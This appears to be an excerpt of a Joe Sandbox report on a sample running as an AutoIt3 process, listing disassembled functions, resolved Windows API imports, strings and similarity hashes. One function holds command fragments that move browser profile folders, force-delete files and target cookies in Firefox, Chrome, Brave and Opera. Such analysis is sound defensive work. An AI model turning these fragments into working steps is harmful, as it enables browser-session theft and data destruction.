GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 03B7D900
GetProcAddress.KERNEL32(00000000,accept), ref: 03B7D912
GetProcAddress.KERNEL32(00000000,bind), ref: 03B7D924
GetProcAddress.KERNEL32(00000000,connect), ref: 03B7D936
GetProcAddress.KERNEL32(00000000,getpeername), ref: 03B7D948
GetProcAddress.KERNEL32(00000000,getsockname), ref: 03B7D95A
GetProcAddress.KERNEL32(00000000,getsockopt), ref: 03B7D96C
GetProcAddress.KERNEL32(00000000,htonl), ref: 03B7D97E
GetProcAddress.KERNEL32(00000000,htons), ref: 03B7D990
GetProcAddress.KERNEL32(00000000,inet_addr), ref: 03B7D9A2
GetProcAddress.KERNEL32(00000000,inet_ntoa), ref: 03B7D9B4
GetProcAddress.KERNEL32(00000000,listen), ref: 03B7D9C6
GetProcAddress.KERNEL32(00000000,ntohl), ref: 03B7D9D8
GetProcAddress.KERNEL32(00000000,ntohs), ref: 03B7D9EA
GetProcAddress.KERNEL32(00000000,recv), ref: 03B7D9FC
GetProcAddress.KERNEL32(00000000,recvfrom), ref: 03B7DA0E
GetProcAddress.KERNEL32(00000000,select), ref: 03B7DA20
GetProcAddress.KERNEL32(00000000,send), ref: 03B7DA32
GetProcAddress.KERNEL32(00000000,sendto), ref: 03B7DA44
GetProcAddress.KERNEL32(00000000,setsockopt), ref: 03B7DA56
GetProcAddress.KERNEL32(00000000,shutdown), ref: 03B7DA68
GetProcAddress.KERNEL32(00000000,socket), ref: 03B7DA7A
GetProcAddress.KERNEL32(00000000,gethostbyaddr), ref: 03B7DA8C
GetProcAddress.KERNEL32(00000000,gethostbyname), ref: 03B7DA9E
GetProcAddress.KERNEL32(00000000,getprotobyname), ref: 03B7DAB0
GetProcAddress.KERNEL32(00000000,getprotobynumber), ref: 03B7DAC2
GetProcAddress.KERNEL32(00000000,getservbyname), ref: 03B7DAD4
GetProcAddress.KERNEL32(00000000,getservbyport), ref: 03B7DAE6
GetProcAddress.KERNEL32(00000000,gethostname), ref: 03B7DAF8
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 03B7DB0A
GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 03B7DB1C
GetProcAddress.KERNEL32(00000000,getnameinfo), ref: 03B7DB2E
LoadLibraryA.KERNEL32(wship6.dll,00000000,getnameinfo,00000000,freeaddrinfo,00000000,getaddrinfo,00000000,gethostname,00000000,getservbyport,00000000,getservbyname,00000000,getprotobynumber,00000000), ref: 03B7DB6C
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 03B7DB8A
GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 03B7DB9F
GetProcAddress.KERNEL32(00000000,getnameinfo), ref: 03B7DBB4

Strings

ntohs, xrefs: 03B7D9E2
sendto, xrefs: 03B7DA3C
WSAGetLastError, xrefs: 03B7D8D4
wship6.dll, xrefs: 03B7DB67
htons, xrefs: 03B7D988
getservbyport, xrefs: 03B7DADE
connect, xrefs: 03B7D92E
WSAIoctl, xrefs: 03B7D88C
setsockopt, xrefs: 03B7DA4E
getprotobyname, xrefs: 03B7DAA8
WSAStartup, xrefs: 03B7D8E6
select, xrefs: 03B7DA18
gethostname, xrefs: 03B7DAF0
getprotobynumber, xrefs: 03B7DABA
inet_ntoa, xrefs: 03B7D9AC
closesocket, xrefs: 03B7D8B0
socket, xrefs: 03B7DA72
__WSAFDIsSet, xrefs: 03B7D89E
getsockname, xrefs: 03B7D952
recvfrom, xrefs: 03B7DA06
inet_addr, xrefs: 03B7D99A
send, xrefs: 03B7DA2A
accept, xrefs: 03B7D90A
listen, xrefs: 03B7D9BE
getsockopt, xrefs: 03B7D964
gethostbyname, xrefs: 03B7DA96
ioctlsocket, xrefs: 03B7D8C2
htonl, xrefs: 03B7D976
getaddrinfo, xrefs: 03B7DB02, 03B7DB7F
shutdown, xrefs: 03B7DA60
WSACleanup, xrefs: 03B7D8F8
recv, xrefs: 03B7D9F4
ws2_32.dll, xrefs: 03B7D836
bind, xrefs: 03B7D91C
getservbyname, xrefs: 03B7DACC
getpeername, xrefs: 03B7D940
ntohl, xrefs: 03B7D9D0
gethostbyaddr, xrefs: 03B7DA84
freeaddrinfo, xrefs: 03B7DB14, 03B7DB94
getnameinfo, xrefs: 03B7DB26, 03B7DBA9

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: WSACleanup$WSAGetLastError$WSAIoctl$WSAStartup$__WSAFDIsSet$accept$bind$closesocket$connect$freeaddrinfo$getaddrinfo$gethostbyaddr$gethostbyname$gethostname$getnameinfo$getpeername$getprotobyname$getprotobynumber$getservbyname$getservbyport$getsockname$getsockopt$htonl$htons$inet_addr$inet_ntoa$ioctlsocket$listen$ntohl$ntohs$recv$recvfrom$select$send$sendto$setsockopt$shutdown$socket$ws2_32.dll$wship6.dll
API String ID: 2238633743-3535293950
Opcode ID: fcc7d467251c4d90b1f3fab60ce9480ab89710e8cb2f718fa8881876d95cfc58
Instruction ID: b960b92da029db2269bbcb332902af9a97ed98fa75bc3f7bf67414ce76f11b7c
Opcode Fuzzy Hash: fcc7d467251c4d90b1f3fab60ce9480ab89710e8cb2f718fa8881876d95cfc58
Instruction Fuzzy Hash: 74B1BE74642740EFDB00FB74DD85B2A77A8EF0964CB0409FDE460CF65AEAB99810CB91

Function 03B887EC Relevance: 75.4, APIs: 24, Strings: 19, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PSAPI.dll,?,03B88B69), ref: 03B88800
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 03B8881C
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 03B8882E
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameA), ref: 03B88840
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExA), ref: 03B88852
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameA), ref: 03B88864
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExA), ref: 03B88876
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 03B88888
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 03B8889A
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 03B888AC
GetProcAddress.KERNEL32(00000000,EmptyWorkingSet), ref: 03B888BE
GetProcAddress.KERNEL32(00000000,QueryWorkingSet), ref: 03B888D0
GetProcAddress.KERNEL32(00000000,InitializeProcessForWsWatch), ref: 03B888E2
GetProcAddress.KERNEL32(00000000,GetMappedFileNameA), ref: 03B888F4
GetProcAddress.KERNEL32(00000000,GetDeviceDriverBaseNameA), ref: 03B88906
GetProcAddress.KERNEL32(00000000,GetDeviceDriverFileNameA), ref: 03B88918
GetProcAddress.KERNEL32(00000000,GetMappedFileNameA), ref: 03B8892A
GetProcAddress.KERNEL32(00000000,GetDeviceDriverBaseNameA), ref: 03B8893C
GetProcAddress.KERNEL32(00000000,GetDeviceDriverFileNameA), ref: 03B8894E
GetProcAddress.KERNEL32(00000000,GetMappedFileNameW), ref: 03B88960
GetProcAddress.KERNEL32(00000000,GetDeviceDriverBaseNameW), ref: 03B88972

Strings

GetModuleBaseNameA, xrefs: 03B88838, 03B8885C
EmptyWorkingSet, xrefs: 03B888B6
GetModuleInformation, xrefs: 03B888A4
GetDeviceDriverFileNameW, xrefs: 03B8897C
GetModuleFileNameExA, xrefs: 03B8884A, 03B8886E
QueryWorkingSet, xrefs: 03B888C8
GetProcessMemoryInfo, xrefs: 03B889A0
GetDeviceDriverBaseNameA, xrefs: 03B888FE, 03B88934
GetDeviceDriverFileNameA, xrefs: 03B88910, 03B88946
GetDeviceDriverBaseNameW, xrefs: 03B8896A
PSAPI.dll, xrefs: 03B887FB
EnumProcesses, xrefs: 03B88814
GetMappedFileNameW, xrefs: 03B88958
EnumProcessModules, xrefs: 03B88826
EnumDeviceDrivers, xrefs: 03B8898E
GetModuleBaseNameW, xrefs: 03B88880
GetMappedFileNameA, xrefs: 03B888EC, 03B88922
InitializeProcessForWsWatch, xrefs: 03B888DA
GetModuleFileNameExW, xrefs: 03B88892

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: EmptyWorkingSet$EnumDeviceDrivers$EnumProcessModules$EnumProcesses$GetDeviceDriverBaseNameA$GetDeviceDriverBaseNameW$GetDeviceDriverFileNameA$GetDeviceDriverFileNameW$GetMappedFileNameA$GetMappedFileNameW$GetModuleBaseNameA$GetModuleBaseNameW$GetModuleFileNameExA$GetModuleFileNameExW$GetModuleInformation$GetProcessMemoryInfo$InitializeProcessForWsWatch$PSAPI.dll$QueryWorkingSet
API String ID: 2238633743-2267155864
Opcode ID: 20a7a2c5bc7933c15d8176d9c36a4fb790ab05a656315fafdfd2388dc84d44d9
Instruction ID: c46d97373d32be338d025b2fd9ce18d1ca841f1e336b37c8eda05b683867decf
Opcode Fuzzy Hash: 20a7a2c5bc7933c15d8176d9c36a4fb790ab05a656315fafdfd2388dc84d44d9
Instruction Fuzzy Hash: 4A41FFB4A527109FDF20FFB4D995A2AB7A8EB1D60C3400DF5E450CF65AD6799800CBD1

Function 03B6DD68 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,0000000F,03B6DFEF,?,?,03B947C0,00000000,03B9489E,?,?,?,?,?,03B7ACDD,00000000,03B7B1B3), ref: 03B6DD7C
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03B6DD94
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03B6DDA6
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03B6DDB8
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 03B6DDCA
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 03B6DDDC
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 03B6DDEE
GetProcAddress.KERNEL32(00000000,Process32First), ref: 03B6DE00
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 03B6DE12
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 03B6DE24
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03B6DE36
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03B6DE48
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 03B6DE5A
GetProcAddress.KERNEL32(00000000,Module32First), ref: 03B6DE6C
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 03B6DE7E
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03B6DE90
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03B6DEA2

Strings

Process32NextW, xrefs: 03B6DE2E
Heap32Next, xrefs: 03B6DDD4
Module32FirstW, xrefs: 03B6DE88
Heap32ListNext, xrefs: 03B6DDB0
Heap32ListFirst, xrefs: 03B6DD9E
Toolhelp32ReadProcessMemory, xrefs: 03B6DDE6
Module32NextW, xrefs: 03B6DE9A
Heap32First, xrefs: 03B6DDC2
Process32Next, xrefs: 03B6DE0A
Process32First, xrefs: 03B6DDF8
CreateToolhelp32Snapshot, xrefs: 03B6DD8C
Thread32First, xrefs: 03B6DE40
Process32FirstW, xrefs: 03B6DE1C
Thread32Next, xrefs: 03B6DE52
kernel32.dll, xrefs: 03B6DD77
Module32First, xrefs: 03B6DE64
Module32Next, xrefs: 03B6DE76

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 356a6be3219d50b47d409e7f50a3812185a06647dbc551be588e8db99957ccb7
Instruction ID: c1a8ff898e13702a1b9260198e2d4cddacfe997a1710cc3537782acba0e6219d
Opcode Fuzzy Hash: 356a6be3219d50b47d409e7f50a3812185a06647dbc551be588e8db99957ccb7
Instruction Fuzzy Hash: 1531CAB4A527509FDF10EBA499D4A1AB7A8EB0D60C70009FEF850CF65AD77998008B91

Function 008CABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 008CAC55
GetSysColorBrush.USER32(0000000F), ref: 008CAC86
GetSysColor.USER32(0000000F), ref: 008CAC92
SetBkColor.GDI32(?,000000FF), ref: 008CACAC
SelectObject.GDI32(?,?), ref: 008CACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 008CACE6
GetSysColor.USER32(00000010), ref: 008CACEE
CreateSolidBrush.GDI32(00000000), ref: 008CACF5
FrameRect.USER32(?,?,00000000), ref: 008CAD04
DeleteObject.GDI32(00000000), ref: 008CAD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 008CAD56
FillRect.USER32(?,?,?), ref: 008CAD88
GetWindowLongW.USER32(?,000000F0), ref: 008CADB3

Part of subcall function 008CAF18: GetSysColor.USER32(00000012), ref: 008CAF51
Part of subcall function 008CAF18: SetTextColor.GDI32(?,?), ref: 008CAF55
Part of subcall function 008CAF18: GetSysColorBrush.USER32(0000000F), ref: 008CAF6B
Part of subcall function 008CAF18: GetSysColor.USER32(0000000F), ref: 008CAF76
Part of subcall function 008CAF18: GetSysColor.USER32(00000011), ref: 008CAF93
Part of subcall function 008CAF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 008CAFA1
Part of subcall function 008CAF18: SelectObject.GDI32(?,00000000), ref: 008CAFB2
Part of subcall function 008CAF18: SetBkColor.GDI32(?,00000000), ref: 008CAFBB
Part of subcall function 008CAF18: SelectObject.GDI32(?,?), ref: 008CAFC8
Part of subcall function 008CAF18: InflateRect.USER32(?,000000FF,000000FF), ref: 008CAFE7
Part of subcall function 008CAF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 008CAFFE
Part of subcall function 008CAF18: GetWindowLongW.USER32(00000000,000000F0), ref: 008CB013

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: adba14d59b5ff0dcd30610e31bc043941a3c1201d5ad91652900c4a14feaf977
Instruction ID: 11dc4102e85e93840e2d21c357b1d166aa8fd4dd160bcae0d98b3ee8e1b55cd7
Opcode Fuzzy Hash: adba14d59b5ff0dcd30610e31bc043941a3c1201d5ad91652900c4a14feaf977
Instruction Fuzzy Hash: 40A14A72409305AFDB159F64DC08F6A7BB9FB88325F104B1AFA62E61A0D731D944CF52

Function 008527FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00860FE6: std::exception::exception.LIBCMT ref: 0086101C
Part of subcall function 00860FE6: __CxxThrowException@8.LIBCMT ref: 00861031

__wcsnicmp.LIBCMT ref: 0085286A
__wcsnicmp.LIBCMT ref: 0085287E
__wcsnicmp.LIBCMT ref: 00852896
__wcsnicmp.LIBCMT ref: 008528AE
__wcsnicmp.LIBCMT ref: 008528C6
__wcsnicmp.LIBCMT ref: 008528DE
__wcsnicmp.LIBCMT ref: 008528F6
__wcsnicmp.LIBCMT ref: 0085290A
__wcsnicmp.LIBCMT ref: 00852948
__wcsnicmp.LIBCMT ref: 0085295C
__wcsnicmp.LIBCMT ref: 00852970
__wcsnicmp.LIBCMT ref: 00852984

Strings

', xrefs: 0088FB9F
#comments-start, xrefs: 008528F0, 00852942
#requireadmin, xrefs: 00852890
#comments-end, xrefs: 0085296A
", xrefs: 0088FB89
#ce, xrefs: 0085297E
#include-once, xrefs: 008528C0
#include, xrefs: 008528D8
#OnAutoItStartRegister, xrefs: 008528A8
Bad directive syntax error, xrefs: 0088FBD3, 0088FBF0
#pragma compile, xrefs: 00852864
#notrayicon, xrefs: 00852878
Cannot parse #include, xrefs: 0088FCE5
Unterminated group of comments, xrefs: 0088FCFA
#cs, xrefs: 00852904, 00852956

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: 04390688ad9dad7aaa0341d33eccfcffaf5f1189c914987673a75f4e39124421
Instruction ID: 5cf8e7f423d892dea79fde35c890553df5d7e51fabaa05b1df83d0c88b28b49e
Opcode Fuzzy Hash: 04390688ad9dad7aaa0341d33eccfcffaf5f1189c914987673a75f4e39124421
Instruction Fuzzy Hash: DFA19B31A00209ABCB25AF64DC42EAE3B75FF56741F140129FD05EB392EB719E18DB52

Function 008CA041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 008CA0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 008CA1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 008CA1CC

Strings

0, xrefs: 008CA209

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 4cce32010bc02a742119253f90f559a73f44736ef9b584db520a7c1c18499803
Instruction ID: b30ee9516ed24a1c649077e9c640d32255fe3600648231fc9eb77e017fe137f7
Opcode Fuzzy Hash: 4cce32010bc02a742119253f90f559a73f44736ef9b584db520a7c1c18499803
Instruction Fuzzy Hash: DF02BA30509309AFD7298F24C888FAABBF8FB85318F04861DF996D62A1C775D944DF52

Function 03B70148 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 03B70151

Part of subcall function 03B70110: GetProcAddress.KERNEL32(00000000), ref: 03B7012E

Strings

VarSub, xrefs: 03B701B7
VarCmp, xrefs: 03B70267
VarBstrFromDate, xrefs: 03B70317
VarDiv, xrefs: 03B701E3
VarMul, xrefs: 03B701CD
VarDateFromStr, xrefs: 03B702BF
VarAdd, xrefs: 03B701A1
VariantChangeTypeEx, xrefs: 03B7015F
VarBstrFromCy, xrefs: 03B70301
VarIdiv, xrefs: 03B701F9
VarR8FromStr, xrefs: 03B702A9
VarBstrFromBool, xrefs: 03B7032D
VarNot, xrefs: 03B7018B
oleaut32.dll, xrefs: 03B7014C
VarR4FromStr, xrefs: 03B70293
VarNeg, xrefs: 03B70175
VarBoolFromStr, xrefs: 03B702EB
VarCyFromStr, xrefs: 03B702D5
VarAnd, xrefs: 03B70225
VarXor, xrefs: 03B70251
VarMod, xrefs: 03B7020F
VarOr, xrefs: 03B7023B
VarI4FromStr, xrefs: 03B7027D

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: a84d88bdb19534b59bd35bef6bc63aa1b7b2fc8f7f1582ef0429f972700ff023
Instruction ID: 4de7601f084fab4ee5e3f009191c08395b7599882aeb26b3a0b2f329f48162b1
Opcode Fuzzy Hash: a84d88bdb19534b59bd35bef6bc63aa1b7b2fc8f7f1582ef0429f972700ff023
Instruction Fuzzy Hash: 45413963A1430C9B1619FB69750142A77D9FB4C21CBB048FBB824CFB89DFB0A951862D

Function 03B98334 Relevance: 37.7, APIs: 25, Instructions: 248windowCOMMON

Download Yara Rule

APIs

CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 03B98377
SelectObject.GDI32(?,?), ref: 03B9838C
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,03B98407,?,?), ref: 03B983DB
SelectObject.GDI32(?,?), ref: 03B983F5
DeleteObject.GDI32(?), ref: 03B98401
CreateCompatibleDC.GDI32(00000000), ref: 03B98415
CreateCompatibleBitmap.GDI32(?,?,?), ref: 03B98436
SelectObject.GDI32(?,?), ref: 03B9844B
SelectPalette.GDI32(?,02080F23,00000000), ref: 03B9845F
SelectPalette.GDI32(?,?,00000000), ref: 03B98471
SelectPalette.GDI32(?,00000000,000000FF), ref: 03B98486
SelectPalette.GDI32(?,02080F23,000000FF), ref: 03B9849C
RealizePalette.GDI32(?), ref: 03B984A8
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 03B984CA
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 03B984EC
SetTextColor.GDI32(?,00000000), ref: 03B984F4
SetBkColor.GDI32(?,00FFFFFF), ref: 03B98502
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 03B9852E
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 03B98553
SetTextColor.GDI32(?,?), ref: 03B9855D
SetBkColor.GDI32(?,?), ref: 03B98567
SelectObject.GDI32(?,00000000), ref: 03B9857A
DeleteObject.GDI32(?), ref: 03B98583
SelectPalette.GDI32(?,00000000,00000000), ref: 03B985A5
DeleteDC.GDI32(?), ref: 03B985AE

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Select$ObjectPalette$ColorStretch$CompatibleCreateDelete$BitmapText$MaskRealize
String ID:
API String ID: 3976802218-0
Opcode ID: b619bfc301bcd9c9a948da065d2985dba4c6782a976ed7b5eaa8df65b172a3c7
Instruction ID: 0d6a7fa08f67d6cc4262758af9fc4a46c320992684c9c77fe26e85846f904d27
Opcode Fuzzy Hash: b619bfc301bcd9c9a948da065d2985dba4c6782a976ed7b5eaa8df65b172a3c7
Instruction Fuzzy Hash: 558178B5A00209AFDB50DF98CD81FAF77ECEB0D614F150565F618EB241C679ED008BA1

Function 03BB8528 Relevance: 31.7, APIs: 4, Strings: 17, Instructions: 219sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000009C4,00000000,03BB8844,?,?,?,?,00000009,00000000,00000000), ref: 03BB8582
Sleep.KERNEL32(000009C4,00000000,03BB8844,?,?,?,?,00000009,00000000,00000000), ref: 03BB8642

Part of subcall function 03B921B8: GetFileAttributesA.KERNEL32(00000000,?,?,?,?,03B7AD04,00000000,03B7B1B3,?,?,00000000,00000000), ref: 03B921FA

Sleep.KERNEL32(000009C4,00000000,03BB8844,?,?,?,?,00000009,00000000,00000000), ref: 03BB86FE
Sleep.KERNEL32(00000064,?,00000000,03BB8844,?,?,?,?,00000009,00000000,00000000), ref: 03BB87CC

Part of subcall function 03B948B8: CloseHandle.KERNEL32(00000000), ref: 03B949C5

Strings

/c cd /d ", xrefs: 03BB8587, 03BB8647, 03BB8686, 03BB8703, 03BB8742
opera.exe, xrefs: 03BB87C0
/c del /q /f /s , xrefs: 03BB85DA
firefox.exe, xrefs: 03BB8573
Google, xrefs: 03BB860F
" && move firefox firefox, xrefs: 03BB858F
firefox, xrefs: 03BB85C1
" && move Google google, xrefs: 03BB864F, 03BB868E
cookie, xrefs: 03BB87AF, 03BB87F2
chrome.exe, xrefs: 03BB8633
Mozilla\, xrefs: 03BB8557
Opera Software, xrefs: 03BB8795
" && move BraveSoftware braveSoftware, xrefs: 03BB870B, 03BB874A
firefox\*, xrefs: 03BB85E2
cmd.exe, xrefs: 03BB85B4, 03BB85F7, 03BB8674, 03BB86B3, 03BB8730, 03BB876F
brave.exe, xrefs: 03BB86EF
BraveSoftware, xrefs: 03BB86CB

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Sleep$AttributesCloseFileHandle
String ID: " && move BraveSoftware braveSoftware$" && move Google google$" && move firefox firefox$/c cd /d "$/c del /q /f /s $BraveSoftware$Google$Mozilla\$Opera Software$brave.exe$chrome.exe$cmd.exe$cookie$firefox$firefox.exe$firefox\*$opera.exe
API String ID: 1617435388-3698069828
Opcode ID: 56f7d05321bb9307066cfc86ab198058a43dfea294ddff7a4de4a290e368db44
Instruction ID: 97ade298f7dfcbcd2c961f4f206e25932d0d07b3e45068086b9c2cccd423e081
Opcode Fuzzy Hash: 56f7d05321bb9307066cfc86ab198058a43dfea294ddff7a4de4a290e368db44
Instruction Fuzzy Hash: 4681F239A0024D9FEF00EBA5C941ADDB3BAEF4460CF5040F1E514AF265DBB5AE069B51

Function 03B9B850 Relevance: 31.7, APIs: 21, Instructions: 194windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000054,?), ref: 03B9B873
GetDC.USER32(00000000), ref: 03B9B8A1
CreateCompatibleDC.GDI32(?), ref: 03B9B8B2
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 03B9B8CD
SelectObject.GDI32(?,00000000), ref: 03B9B8E7
PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 03B9B909
CreateCompatibleDC.GDI32(?), ref: 03B9B917
SelectObject.GDI32(?), ref: 03B9B95F
SelectPalette.GDI32(?,?,00000000), ref: 03B9B972
RealizePalette.GDI32(?), ref: 03B9B97B
SelectPalette.GDI32(?,?,00000000), ref: 03B9B987
RealizePalette.GDI32(?), ref: 03B9B990
SetBkColor.GDI32(?), ref: 03B9B99A
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 03B9B9BE
SetBkColor.GDI32(?,00000000), ref: 03B9B9C8
SelectObject.GDI32(?,00000000), ref: 03B9B9DB
DeleteObject.GDI32 ref: 03B9B9E7
DeleteDC.GDI32(?), ref: 03B9B9FD
SelectObject.GDI32(?,00000000), ref: 03B9BA18
DeleteDC.GDI32(00000000), ref: 03B9BA34
ReleaseDC.USER32(00000000,00000000), ref: 03B9BA45

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

